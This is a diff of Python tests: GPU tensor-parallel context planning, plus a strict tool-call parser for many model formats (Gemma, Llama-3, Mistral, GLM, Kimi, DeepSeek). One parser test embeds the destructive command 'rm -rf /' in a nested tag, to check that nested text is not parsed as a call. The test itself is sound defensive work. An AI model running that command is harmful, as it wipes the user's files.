+    # it over-pins and OOMs at high context. The chosen KV must leave room for it.
+    b, (ec, mac, gi, ts) = _plan(50)
+    cc = len(gi) * b._compute_buffer_ctx_bytes(ec, None, "f16")
+    assert cc > 0
+    assert b._estimate_kv_cache_bytes(ec) + cc <= _kv_budget_b(50)
+
+
+def test_tp_plan_context_shrinks_vs_compute_unaware():
+    # With the context-linear term the pinned context is strictly below what a
+    # KV-only (compute-unaware) fit at the same budget would allow.
+    b, (ec, *_r) = _plan(50)
+    b2 = _kv_seeded_backend()
+    b2._embedding_length = 0  # kills the context-linear compute term (returns 0)
+    ec_naive, *_r2 = b2._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    assert ec < ec_naive
+
+
+def test_tp_plan_soft_overhead_shrinks_context():
+    # The CUDA-ctx / mmproj / MTP-draft reserve the layer path folds into the fit
+    # budget (model_size_fit) must also shrink the tensor context. Tensor mode has
+    # no --fit valve, so an unreserved overshoot OOMs at startup instead of
+    # offloading. A non-zero soft_overhead must pin a strictly smaller context.
+    b = _kv_seeded_backend()
+    ec_no, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
+    ec_soft, *_r2 = b._plan_tensor_parallel(
+        _ASYM, int(50 * _GB), 131072, soft_overhead_bytes = 2 * _GB
+    )
+    assert 2048 < ec_soft < ec_no
+
+
+def test_tp_plan_soft_overhead_reserved_against_budget():
+    # The pinned context must leave the whole soft reserve free on top of KV and
+    # the replicated context compute, so the real footprint stays within the pool.
+    b = _kv_seeded_backend()
+    soft = 2 * _GB
+    ec, *_r = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072, soft_overhead_bytes = soft)
+    cc = len(_ASYM) * b._compute_buffer_ctx_bytes(ec, None, None)
+    assert b._estimate_kv_cache_bytes(ec) + cc + soft <= _kv_budget_b(50)
+
+
+def test_tp_plan_weighted_split_keeps_small_gpu_within_budget():
+    # Regression: the weighted split must subtract each device's replicated context
+    # compute (cc_bytes/n_dev), not just the flat reserve. Otherwise the smaller
+    # card is weighted above its usable budget and OOMs at launch. Model the split:
+    # llama.cpp distributes weights+KV by the tensor-split weights; every device
+    # also holds the flat reserve plus its per-device context compute.
+    b, (ec, mac, gi, ts) = _plan(50)
+    assert ts is not None and len(ts) == len(gi) == 2
+    reserve = b._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+    cc_per_dev = b._compute_buffer_ctx_bytes(ec, None, None) // (1024 * 1024)
+    free_by_idx = {0: 48000, 1: 24000}
+    split_content_mib = (int(50 * _GB) + b._estimate_kv_cache_bytes(ec)) / (1024 * 1024)
+    total_weight = sum(ts)
+    for w, idx in zip(ts, gi):
+        placed = split_content_mib * w / total_weight
+        usable = free_by_idx[idx] * _CTX_FIT_VRAM_FRACTION
+        assert placed + reserve + cc_per_dev <= usable + 1  # +1 MiB for int rounding
+
+    # Lock the regression: under the old formula (flat reserve only) the smaller
+    # card was placed over its budget; the cc term is what pulls it back.
+    old_adj = [int(free_by_idx[i] * _CTX_FIT_VRAM_FRACTION - reserve) for i in gi]
+    old_small_placed = split_content_mib * old_adj[1] / sum(old_adj)
+    assert old_small_placed + reserve + cc_per_dev > free_by_idx[1] * _CTX_FIT_VRAM_FRACTION
+
+
 def test_tp_plan_no_kv_metadata_floors_context():
     b = LlamaCppBackend()  # no KV metadata -> can't size safely
     ec, mac, gi, ts = b._plan_tensor_parallel(_ASYM, int(50 * _GB), 131072)
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 8ff41342d7..c6da1e90e7 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -71,6 +71,26 @@ class TestFunctionStyleTrailingText:
         call = _only(text)
         assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
 
+    def test_closed_function_with_trailing_prose_heal_path(self):
+        # Regression: the heal path (allow_incomplete=True) must match the strict path --
+        # keep a clean argument and leave trailing prose outside the call span.
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing words"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        fn = calls[0]["function"]
+        assert fn["name"] == "web_search"
+        assert json.loads(fn["arguments"]) == {"query": "cats"}
+        # The trailing prose sits outside the removed span, so it stays visible.
+        from core.tool_healing import (
+            parse_tool_calls_from_text as _parse_with_spans,
+        )
+
+        _calls, spans = _parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        out = text
+        for s, e in sorted(spans, reverse = True):
+            out = out[:s] + out[e:]
+        assert out == " trailing words"
+
     def test_incomplete_function_without_close_is_still_rejected(self):
         text = "<function=web_search><parameter=query>weather london"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
@@ -80,6 +100,24 @@ class TestFunctionStyleTrailingText:
         text = "<function=web_search><parameter=query>weather london</function>"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_attribute_form_literal_close_tag_is_preserved(self):
+        # The attribute form <function name="..."> (MiniCPM-5 / MiniMax-M2) also ends at the
+        # LAST </function>, so a literal close tag inside a code argument survives.
+        text = (
+            '<function name="python"><param name="code">'
+            'print("</function>")'
+            "</param></function> all done"
+        )
+        call = _only(text)
+        assert call == {"name": "python", "arguments": {"code": 'print("</function>")'}}
+
+    def test_closed_zero_param_attribute_call_is_accepted_in_strict_mode(self):
+        # A closed call with no parameters is a valid zero-argument call; strict
+        # mode must not treat the empty parameter list as a truncated call.
+        assert _only('<function name="ping"></function>') == {"name": "ping", "arguments": {}}
+        # A no-arg call that never closes is still rejected as truncated.
+        assert parse_tool_calls_from_text('<function name="ping">', allow_incomplete = False) == []
+
 
 class TestParityWithJsonStyle:
     def test_json_tool_call_with_trailing_prose_is_accepted(self):
@@ -106,9 +144,1678 @@ class TestParityWithJsonStyle:
         assert json.loads(js[0]["function"]["arguments"]) == {"query": q}
 
 
+class TestGemmaNativeStyle:
+    def test_closed_native_call_with_trailing_prose_is_accepted(self):
+        text = (
+            '<|tool_call>call:terminal{command:"ls -la",workdir:"."}<tool_call|>' " running it now"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "terminal"
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "command": "ls -la",
+            "workdir": ".",
+        }
+
+    def test_unclosed_native_call_requires_healing(self):
+        text = '<|tool_call>call:terminal{command:"ls"}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "terminal"
+
+    def test_hyphenated_native_argument_name_is_accepted(self):
+        text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "mcp__srv__create-issue"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"issue-title": "Bug report"}
+
+    def test_native_template_quotes_preserve_windows_path(self):
+        text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+    def test_bare_unquoted_string_values_are_accepted(self):
+        # Gemma can emit enum/string args unquoted; bare JSON scalars stay typed.
+        text = (
+            "<|tool_call>call:get_weather{location:Tokyo,unit:celsius,days:3,live:true}<tool_call|>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "location": "Tokyo",
+            "unit": "celsius",
+            "days": 3,
+            "live": True,
+        }
+
+
+class TestLlama3PythonTagStrict:
+    def test_closed_dot_call_is_accepted(self):
+        text = '<|python_tag|>get_weather.call(location="Tokyo")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"location": "Tokyo"}
+
+    def test_truncated_dot_call_is_rejected(self):
+        # No closing paren (depth > 0 at EOF): truncated, reject in strict mode.
+        text = '<|python_tag|>get_weather.call(location="Tokyo"'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers it.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestMistralArrayStrict:
+    def test_closed_array_is_accepted(self):
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}]'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+
+    def test_unclosed_array_is_rejected(self):
+        # Missing the closing ]; strict mode must not heal it.
+        text = '[TOOL_CALLS] [{"name":"web_search","arguments":{"q":"x"}}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        # Auto-Heal still recovers the object by hand.
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
 class TestHealingPathUnaffected:
     def test_auto_heal_still_repairs_unclosed_function(self):
         text = "<function=web_search><parameter=query>cats"
         calls = parse_tool_calls_from_text(text, allow_incomplete = True)
         assert len(calls) == 1
         assert calls[0]["function"]["name"] == "web_search"
+
+    def test_closed_function_call_keeps_trailing_prose_out_of_arguments(self):
+        # A call that DID close must parse identically to strict mode, leaving prose after
+        # </function> out of the last parameter and the removal span.
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = "<function=web_search><parameter=query>cats</parameter></function> trailing"
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert text[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+    def test_wrapperless_fallback_calls_carry_spans(self):
+        # The wrapperless function-XML fallback must report spans too, so with_spans
+        # consumers strip exactly the promoted markup (through </function> when closed).
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        closed = "before <function=web_search><parameter=query>cats</parameter></function> after"
+        calls, spans = parse_with_spans(closed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "cats"}
+        (span,) = spans
+        assert closed[span[0] : span[1]] == (
+            "<function=web_search><parameter=query>cats</parameter></function>"
+        )
+
+        healed = "x <function=web_search><parameter=query>dogs"
+        calls, spans = parse_with_spans(healed, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert json.loads(call["function"]["arguments"]) == {"query": "dogs"}
+        (span,) = spans
+        assert healed[span[0] : span[1]] == "<function=web_search><parameter=query>dogs"
+
+
+class TestEnabledToolNameGate:
+    """``enabled_tool_names`` disambiguates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{json}`` form (#5704): NAME is a call only when it is an active tool,
+    otherwise it is prose. ``None`` (the default) keeps the legacy unrestricted parse
+    so existing callers are unaffected."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_inactive_rehearsal_before_active_call_does_not_swallow_it(self):
+        # P1: an inactive ``foo[ARGS]{...}`` before a real call must not consume the real call.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_inactive_rehearsal_alone_is_not_a_call(self):
+        text = 'foo[ARGS]{"a":1}'
+        assert parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) == []
+
+    def test_active_rehearsal_is_still_parsed(self):
+        text = 'web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+
+    def test_unrestricted_gate_none_preserves_legacy_behavior(self):
+        # Without a gate every ``NAME[ARGS]{...}`` is parsed, as before the gate landed.
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo", "web_search"]
+        assert self._names(parse_tool_calls_from_text(text, enabled_tool_names = None)) == [
+            "foo",
+            "web_search",
+        ]
+
+
+class TestBracketCallSpans:
+    """with_spans tiling for Mistral bracket calls: promoted markup strips
+    exactly once, filtered calls' bytes stay visible, closers strip too."""
+
+    def test_mixed_array_filtered_first_keeps_its_bytes_only(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"bad","arguments":{"x":1}},'
+            '{"name":"lookup","arguments":{"q":"cats"}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        kinds = [k for k, _v in events]
+        assert kinds == ["text", "tool_call"]
+        text = events[0][1]
+        assert '"bad"' in text
+        # The promoted call's markup must not survive in the text event.
+        assert '"lookup"' not in text
+
+    def test_mixed_array_filtered_second_stays_visible(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"cats"}},'
+            '{"name":"bad","arguments":{"x":1}}]'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert events[0][0] == "tool_call"
+        trailing = "".join(v for k, v in events if k == "text")
+        assert '"bad"' in trailing
+
+    def test_v11_closer_inside_span(self):
+        from core.tool_healing import parse_tool_calls_from_text as parse_with_spans
+
+        text = '[TOOL_CALLS]web_search[ARGS]{"query":"cats"}[/TOOL_CALLS] after'
+        calls, spans = parse_with_spans(text, allow_incomplete = True, with_spans = True)
+        (call,) = calls
+        assert call["function"]["name"] == "web_search"
+        (span,) = spans
+        assert text[span[0] : span[1]].endswith("[/TOOL_CALLS]")
+        assert text[span[1] :] == " after"
+
+    def test_fully_promoted_array_strips_whole_region(self):
+        from core.inference.passthrough_healing import heal_openai_message_events
+
+        tools = [{"type": "function", "function": {"name": "lookup", "parameters": {}}}]
+        content = (
+            '[TOOL_CALLS][{"name":"lookup","arguments":{"q":"a"}},'
+            '{"name":"lookup","arguments":{"q":"b"}}] after'
+        )
+        events = heal_openai_message_events(
+            {"role": "assistant", "content": content}, {"lookup"}, tools
+        )
+        assert [k for k, _v in events] == ["tool_call", "tool_call", "text"]
+        assert events[2][1] == " after"
+
+
+class TestMistralArrayHealing:
+    """Draining the whole [TOOL_CALLS] array for the shapes the repo's own
+    Mistral/Ollama templates emit."""
+
+    def test_comma_less_multi_call_array_parses_all_calls(self):
+        # ollama_template_mappers.py renders multi-call turns as [{...}{...}] with no
+        # comma separator; a single json.loads of the body rejects it and dropped every
+        # call. The element-by-element decode must recover all of them.
+        text = '[TOOL_CALLS] [{"name":"a","arguments":{"x":1}}{"name":"b","arguments":{"y":2}}]'
+        calls = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"x": 1}
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_comma_separated_and_single_arrays_still_parse(self):
+        both = parse_tool_calls_from_text(
+            '[TOOL_CALLS] [{"name":"a","arguments":{}},{"name":"b","arguments":{}}]'
+        )
+        assert [c["function"]["name"] for c in both] == ["a", "b"]
+        one = parse_tool_calls_from_text('[TOOL_CALLS] [{"name":"a","arguments":{}}]')
+        assert [c["function"]["name"] for c in one] == ["a"]
+
+    def test_mistral_array_null_arguments_normalized_to_empty_object(self):
+        # ``"arguments": null`` is a no-arg call; it must become {} (as the <tool_call>
+        # path does), not the string "null" that auto-heal turns into {"query":"null"}.
+        calls = parse_tool_calls_from_text('[TOOL_CALLS][{"name":"get_time","arguments":null}]')
+        assert calls[0]["function"]["arguments"] == "{}"
+
+
+class TestGlmStrict:
+    def test_closed_glm_call_is_accepted(self):
+        text = (
+            "<tool_call>get_weather\n"
+            "<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>\n"
+            "</tool_call>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "get_weather"
+
+    def test_unclosed_glm_call_is_rejected(self):
+        # No </tool_call> close: truncated, reject with Auto-Heal off.
+        text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>Paris</arg_value>"
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestKimiStrict:
+    _SB = "<|tool_calls_section_begin|>"
+    _KB = "<|tool_call_begin|>"
+    _AB = "<|tool_call_argument_begin|>"
+    _KE = "<|tool_call_end|>"
+    _SE = "<|tool_calls_section_end|>"
+
+    def test_full_kimi_call_is_accepted(self):
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE + self._SE
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "x"
+
+    def test_kimi_call_without_call_end_is_rejected(self):
+        # Section closed but the call lacks <|tool_call_end|>: reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._SE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+    def test_kimi_without_section_end_is_rejected(self):
+        # No <|tool_calls_section_end|>: truncated section, reject in strict.
+        text = self._SB + self._KB + "functions.x:0" + self._AB + '{"a":1}' + self._KE
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+class TestParserLinearity:
+    """Llama-3 ``.call`` kwargs and Mistral-array healing must stay linear (a regex-per-offset blew up on long truncated bodies)."""
+
+    def test_llama3_unterminated_call_arg_is_linear(self):
+        import time
+
+        text = '<|python_tag|>upload.call(data="' + "A" * 200_000  # no closing quote/paren
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_llama3_huge_wordrun_call_arg_is_linear(self):
+        import time
+
+        text = "<|python_tag|>upload.call(" + "a" * 200_000  # giant word run, no '='
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_mistral_unclosed_array_open_braces_is_linear(self):
+        import time
+
+        text = "[TOOL_CALLS] [" + "{" * 200_000  # unclosed array, all open braces
+        t0 = time.perf_counter()
+        parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert time.perf_counter() - t0 < 2.0
+
+    def test_gemma_wrapperless_deep_nesting_is_linear(self):
+        # Wrapper-less Gemma ``call:f{a:{a:{...}}}`` deep nesting must parse in linear time (no quadratic re-scan).
+        import time
+
+        def nested(d):
+            return "call:f{a:" + "{a:" * d + "x:1" + "}" * d + "}"
+
+        def best_ms(depth):
+            text = nested(depth)
+            best = float("inf")
+            for _ in range(5):
+                t0 = time.perf_counter()
+                calls = parse_tool_calls_from_text(text)
+                best = min(best, time.perf_counter() - t0)
+            assert calls and json.loads(calls[0]["function"]["arguments"]), "nested args dropped"
+            return best
+
+        t200 = best_ms(200)
+        t400 = best_ms(400)
+        assert t400 < t200 * 3.0, (t200, t400)
+
+    def test_llama3_call_kwargs_still_parse(self):
+        text = '<|python_tag|>do.call(s="hi 😀", n=42, f=1.5, b=true, z=null)'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "s": "hi 😀",
+            "n": 42,
+            "f": 1.5,
+            "b": True,
+            "z": None,
+        }
+
+    def test_llama3_call_scientific_notation_args_parse(self):
+        # Scientific notation must decode as float (the old regex truncated 1e-3 -> 1).
+        text = "<|python_tag|>calc.call(x=1e-3, y=-2E+4, z=0.5e2, n=42)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args == {"x": 1e-3, "y": -2e4, "z": 50.0, "n": 42}
+        assert isinstance(args["n"], int) and isinstance(args["x"], float)
+
+    def test_mistral_unclosed_array_recovers_top_level_objects(self):
+        text = (
+            '[TOOL_CALLS] [{"name":"a","arguments":{"k":1}},'
+            '{"name":"b","arguments":{"j":2}}'  # missing closing ]
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["a", "b"]
+
+
+class TestLlamaBuiltinChainAndNesting:
+    """Llama-3 ``.call`` built-ins: ``; `` chaining and nested-tag isolation."""
+
+    def test_semicolon_chained_builtin_calls_all_parse(self):
+        # Only the first call is anchored to <|python_tag|>; the rest chain via ';'.
+        text = "<|python_tag|>alpha.call(x=1); beta.call(y=2); gamma.call(z=3)"
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert [c["function"]["name"] for c in calls] == ["alpha", "beta", "gamma"]
+        assert json.loads(calls[1]["function"]["arguments"]) == {"y": 2}
+
+    def test_nested_python_tag_in_json_string_arg_is_not_a_call(self):
+        # A code arg literally containing a <|python_tag|>...call(...) string: the real call is the
+        # outer "python", not the nested "os" -- the scan stays anchored to the first tag.
+        text = (
+            '<|python_tag|>{"name":"python","parameters":'
+            '{"code":"<|python_tag|>os.call(\'rm -rf /\')"}}'
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "python"
+        args = json.loads(calls[0]["function"]["arguments"])
+        assert args["code"] == "<|python_tag|>os.call('rm -rf /')"
+
+    def test_single_builtin_call_unchanged(self):
+        text = '<|python_tag|>web_search.call(query="cats")'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "web_search"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+
+def test_glm_open_does_not_parse_spaced_prose_as_tool_name():
+    # The GLM <tool_call>NAME opener must reject spaced literal prose (V10); only a
+    # valid [\w.\-]+ name (followed by newline/<arg_key>/</tool_call>) is a call.
+    assert parse_tool_calls_from_text("<tool_call>not a call</tool_call>") == []
+    ok = parse_tool_calls_from_text(
+        "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC</arg_value>\n</tool_call>"
+    )
+    assert [c["function"]["name"] for c in ok] == ["get_weather"]
+
+
+def test_deepseek_r1_missing_call_terminator_rejected_in_strict_mode():
+    # R1 must reject a fenced call whose closing ``` + <｜tool▁call▁end｜> never
+    # arrived when Auto-Heal is off, matching V3/V3.1 strictness (V6).
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}'
+        "<｜tool▁calls▁end｜>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    assert len(parse_tool_calls_from_text(text, allow_incomplete = True)) == 1
+
+
+def test_deepseek_r1_complete_call_accepted_in_strict_mode():
+    # A fully-terminated R1 call (close fence + per-call end) is still accepted.
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1 and calls[0]["function"]["name"] == "get_weather"
+
+
+def test_strip_leading_bare_json_call_drops_complete_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A complete Llama-3.2 bare-JSON call is removed; trailing prose is kept.
+    assert strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"cats"}}') == ""
+    assert (
+        strip_leading_bare_json_call('{"name":"python","parameters":{"code":"x"}} done') == "done"
+    )
+
+
+def test_strip_leading_bare_json_call_drops_truncated_call():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # A truncated call (no closing brace) collapses to "" -- nothing recoverable.
+    assert (
+        strip_leading_bare_json_call('{"name":"web_search","parameters":{"query":"weather in S')
+        == ""
+    )
+
+
+def test_strip_leading_bare_json_call_preserves_plain_json_and_prose():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    # No "name" key -> plain JSON answer, left untouched.
+    assert (
+        strip_leading_bare_json_call('{"result": 42, "ok": true}') == '{"result": 42, "ok": true}'
+    )
+    # Prose before the brace -> not a leading bare call, untouched.
+    assert strip_leading_bare_json_call('here is {"name":"x"}') == 'here is {"name":"x"}'
+    # Ordinary text untouched.
+    assert strip_leading_bare_json_call("just a sentence.") == "just a sentence."
+
+
+def test_glm_literal_close_tag_in_string_arg_not_truncated():
+    import json
+
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # A GLM string argument may legitimately contain the literal close tag ``</tool_call>``.
+    text = (
+        "<tool_call>run_code\n"
+        "<arg_key>code</arg_key>\n"
+        '<arg_value>print("</tool_call>")</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == 'print("</tool_call>")', args
+
+
+def test_glm_truncated_block_rejected_in_strict_mode_but_healed_otherwise():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    # No </tool_call> close: strict mode (Auto-Heal off) rejects the truncated
+    # block; with Auto-Heal it keeps the partial call.
+    text = "<tool_call>get_weather\n<arg_key>city</arg_key>\n<arg_value>NYC"
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1 and healed[0]["function"]["name"] == "get_weather"
+
+
+def test_truncated_wrapperless_gemma_call_is_stripped():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # A wrapper-less Gemma ``call:NAME{...`` cut off mid-arguments (no closing
+    # brace) must not leak the raw call into the visible stream.
+    text = 'Sure!\ncall:web_search{"query": "weather in San Fr'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped, repr(stripped)
+    assert stripped.strip() == "Sure!"
+
+
+def test_complete_wrapperless_gemma_call_keeps_trailing_prose():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The truncation pattern must run AFTER the closed form, so a complete call
+    # followed by prose keeps the prose instead of eating to EOS.
+    text = 'call:web_search{"query": "cats"} Here you go.'
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:web_search" not in stripped
+    assert stripped.strip() == "Here you go."
+
+
+def test_bare_json_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    real = '{"name":"web_search","parameters":{"query":"cats"}}'
+    # With an enabled set, markerless JSON whose name is not a tool is NOT a call.
+    assert parse_tool_calls_from_text(alice, enabled_tool_names = {"web_search"}) == []
+    # A real call (enabled name) still parses.
+    got = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in got] == ["web_search"]
+    # No enabled set (None) keeps the name-agnostic behaviour for direct callers.
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(alice)] == ["Alice"]
+    # Marker-based forms are NOT gated (an explicit signal is a real call attempt).
+    xml = '<tool_call>{"name":"Alice","arguments":{}}</tool_call>'
+    assert parse_tool_calls_from_text(xml, enabled_tool_names = {"web_search"})
+
+
+def test_strip_leading_bare_json_call_gated_on_enabled_tool_names():
+    from core.inference.tool_call_parser import strip_leading_bare_json_call
+
+    alice = '{"name":"Alice","parameters":{"age":30}}'
+    # Not an enabled tool -> ordinary JSON answer, kept verbatim.
+    assert strip_leading_bare_json_call(alice, {"web_search"}) == alice
+    # Enabled tool -> a real call, stripped (trailing prose kept).
+    assert (
+        strip_leading_bare_json_call(
+            '{"name":"web_search","parameters":{"q":1}} hi', {"web_search"}
+        )
+        == "hi"
+    )
+
+
+def test_function_xml_strip_keeps_literal_close_tag_in_param_value():
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    # The strip uses the LAST </function> (like the parser) so a literal </function> in a value doesn't
+    # truncate it; separate calls still strip independently.
+    text = '<function=python><parameter=code>print("</function>")</parameter></function> done'
+    assert strip_tool_markup(text, final = True) == "done"
+    two = (
+        "a <function=f><parameter=x>1</parameter></function> mid "
+        "<function=g><parameter=y>2</parameter></function> end"
+    )
+    assert strip_tool_markup(two, final = True) == "a  mid  end"
+
+
+def test_function_xml_strip_keeps_trailing_text_after_literal_open_tag():
+    from core.inference.tool_call_parser import parse_tool_calls_from_text, strip_tool_markup
+
+    # A literal ``<function=x>`` opener inside a parameter value is data, not a call: the scan-based
+    # strip keeps " done" (the old negative-lookahead regex ate the trailing prose).
+    text = '<function=python><parameter=code>print("<function=x>")</parameter></function> done'
+    assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
+    assert strip_tool_markup(text, final = True) == "done"
+    # Non-final (streaming) keeps an unclosed call buffered, does not eat prose early.
+    open_text = 'pre <function=python><parameter=code>print("<function=x>")'
+    assert strip_tool_markup(open_text, final = False) == open_text
+
+
